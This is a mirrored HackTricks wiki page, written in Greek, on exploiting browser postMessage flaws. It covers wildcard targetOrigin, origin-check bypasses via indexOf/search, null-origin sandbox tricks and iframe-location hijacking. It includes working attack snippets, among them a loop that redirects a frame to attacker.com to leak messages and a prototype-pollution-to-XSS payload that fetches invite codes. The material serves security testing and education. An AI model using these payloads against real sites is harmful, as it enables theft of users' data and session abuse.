mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
17 KiB
Markdown
228 lines
17 KiB
Markdown
# PostMessage Vulnerabilities
|
||
|
||
## PostMessage Vulnerabilities
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Send **PostMessage**
|
||
|
||
**PostMessage** χρησιμοποιεί την παρακάτω συνάρτηση για να στείλει ένα μήνυμα:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Σημειώστε ότι το **targetOrigin** μπορεί να είναι ένα '\*' ή μια διεύθυνση URL όπως _https://company.com._\
|
||
Στο **δεύτερο σενάριο**, το **μήνυμα μπορεί να σταλεί μόνο σε αυτή τη διεύθυνση** (ακόμα και αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική).\
|
||
Εάν χρησιμοποιηθεί το **wildcard**, τα **μηνύματα θα μπορούσαν να σταλούν σε οποιαδήποτε διεύθυνση**, και θα σταλούν στην προέλευση του αντικειμένου Window.
|
||
|
||
### Επίθεση iframe & wildcard στο **targetOrigin**
|
||
|
||
Όπως εξηγείται σε [**αυτή την αναφορά**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), αν βρείτε μια σελίδα που μπορεί να **iframed** (χωρίς προστασία `X-Frame-Header`) και που **στέλνει ευαίσθητο** μήνυμα μέσω **postMessage** χρησιμοποιώντας ένα **wildcard** (\*), μπορείτε να **τροποποιήσετε** την **προέλευση** του **iframe** και να **leak** το **ευαίσθητο** μήνυμα σε μια διεύθυνση που ελέγχετε.\
|
||
Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το **targetOrigin** είναι **ρυθμισμένο σε μια διεύθυνση URL και όχι σε wildcard**, αυτό το **κόλπο δεν θα λειτουργήσει**.
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## εκμετάλλευση addEventListener
|
||
|
||
**`addEventListener`** είναι η συνάρτηση που χρησιμοποιείται από το JS για να δηλώσει τη συνάρτηση που **αναμένει `postMessages`**.\
|
||
Ένας κώδικας παρόμοιος με τον παρακάτω θα χρησιμοποιηθεί:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Σημειώστε σε αυτή την περίπτωση πώς το **πρώτο πράγμα** που κάνει ο κώδικας είναι **έλεγχος της προέλευσης**. Αυτό είναι τρομερά **σημαντικό** κυρίως αν η σελίδα πρόκειται να κάνει **οτιδήποτε ευαίσθητο** με τις πληροφορίες που έχει λάβει (όπως η αλλαγή ενός κωδικού πρόσβασης). **Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints** και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).
|
||
|
||
### Αρίθμηση
|
||
|
||
Για να **βρείτε ακροατές γεγονότων** στην τρέχουσα σελίδα μπορείτε να:
|
||
|
||
- **Αναζητήσετε** τον κώδικα JS για `window.addEventListener` και `$(window).on` (_έκδοση JQuery_)
|
||
- **Εκτελέσετε** στην κονσόλα εργαλείων προγραμματιστή: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- **Μεταβείτε** στο _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
|
||
|
||
.png>)
|
||
|
||
- Χρησιμοποιήστε μια **επέκταση προγράμματος περιήγησης** όπως [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ή [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Αυτές οι επεκτάσεις προγράμματος περιήγησης θα **παρεμβαίνουν σε όλα τα μηνύματα** και θα σας τα δείχνουν.
|
||
|
||
### Παράκαμψη ελέγχου προέλευσης
|
||
|
||
- Το χαρακτηριστικό **`event.isTrusted`** θεωρείται ασφαλές καθώς επιστρέφει `True` μόνο για γεγονότα που παράγονται από γνήσιες ενέργειες χρηστών. Αν και είναι δύσκολο να παρακαμφθεί αν έχει υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι αξιοσημείωτη.
|
||
- Η χρήση του **`indexOf()`** για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι επιρρεπής σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη.
|
||
- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
|
||
|
||
- Αναμενόμενη Αποτυχία:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Παράκαμψη της διαφυγής:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας `name` που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.
|
||
|
||
- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει την προέλευση, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής προέλευσης.
|
||
|
||
### Παράκαμψη e.origin == window.origin
|
||
|
||
Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα **sandboxed iframe** χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με **attributes sandbox** και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.
|
||
|
||
Με την καθορισμένη **`allow-popups`** στο attribute sandbox, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιληφθεί επίσης το attribute **`allow-popups-to-escape-sandbox`**, η προέλευση του παραθύρου popup ορίζεται επίσης σε `null`, ευθυγραμμισμένη με την προέλευση του iframe.
|
||
|
||
Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας **`postMessage`**, και οι δύο άκρες αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε `null`. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου **`e.origin == window.origin`** αξιολογείται ως αληθές (`null == null`), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης `null`.
|
||
|
||
Για περισσότερες πληροφορίες **διαβάστε**:
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### Παράκαμψη e.source
|
||
|
||
Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ακούει το σενάριο (ιδιαίτερα ενδιαφέρον για **Content Scripts από επεκτάσεις προγράμματος περιήγησης** για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
Μπορείτε να αναγκάσετε το **`e.source`** ενός μηνύματος να είναι null δημιουργώντας ένα **iframe** που **στέλνει** το **postMessage** και **διαγράφεται αμέσως**.
|
||
|
||
Για περισσότερες πληροφορίες **διαβάστε:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### Παράκαμψη X-Frame-Header
|
||
|
||
Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να **τοποθετήσετε τη σελίδα του θύματος** μέσα σε ένα `iframe`. Αλλά ορισμένα headers όπως το `X-Frame-Header` μπορούν να **αποτρέψουν** αυτή τη **συμπεριφορά**.\
|
||
Σε αυτές τις περιπτώσεις, μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
|
||
```html
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
|
||
|
||
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν παραληφθούν:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### Κλοπή μηνύματος τροποποιώντας τη διεύθυνση του iframe
|
||
|
||
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να **αλλάξετε τη διεύθυνση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage για Prototype Pollution και/ή XSS
|
||
|
||
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** την **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`.
|
||
|
||
Μερικά **πολύ καλά εξηγημένα XSS μέσω `postMessage`** μπορούν να βρεθούν στο [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
|
||
Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε **Prototype Pollution και στη συνέχεια XSS** μέσω ενός `postMessage` σε ένα `iframe`:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Για **περισσότερες πληροφορίες**:
|
||
|
||
- Σύνδεσμος στη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||
- Σύνδεσμος στη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html)
|
||
- Σύνδεσμος στη σελίδα σχετικά με [**μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||
|
||
## Αναφορές
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Για εξάσκηση: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|